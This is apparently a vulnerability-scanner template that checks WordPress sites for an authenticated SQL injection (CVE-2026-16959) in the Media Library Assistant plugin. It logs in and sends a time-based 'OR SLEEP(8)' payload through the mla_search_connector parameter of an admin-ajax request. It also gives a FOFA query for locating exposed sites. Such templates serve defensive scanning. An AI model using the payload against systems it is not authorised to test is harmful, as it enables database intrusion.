WordPress Media Library Assistant < 3.40 - SQL Injection

id: CVE-2026-16959

info:
  name: WordPress Media Library Assistant < 3.40 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The Media Library Assistant WordPress plugin before 3.40 does not validate a search parameter before concatenating it into a SQL query in one of its media-library query handlers, allowing users with the Author role and above to perform SQL injection.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands, potentially leading to information disclosure, data modification or deletion.
  remediation: |
    Upgrade to version 3.40 or later.
  reference:
    - https://wpscan.com/vulnerability/7b13e3d3-42ee-4fe2-bb47-75bd2273f1b0/
    - https://wordpress.org/plugins/media-library-assistant/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16959
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cve-id: CVE-2026-16959
    epss-score: 0.00391
    epss-percentile: 0.32995
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: david-lingren
    product: media-library-assistant
    framework: wordpress
    fofa-query: body="/wp-content/plugins/media-library-assistant/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,media-library-assistant,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=mla-query-attachments&query[posts_per_page]=10&query[s]=zzqnomatchaaa zzqnomatchbbb&query[mla_search_fields][]=title&query[mla_search_fields][]=content&query[mla_search_connector]= OR SLEEP(8) OR

    matchers:
      - type: dsl
        dsl:
          - duration >= 8
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
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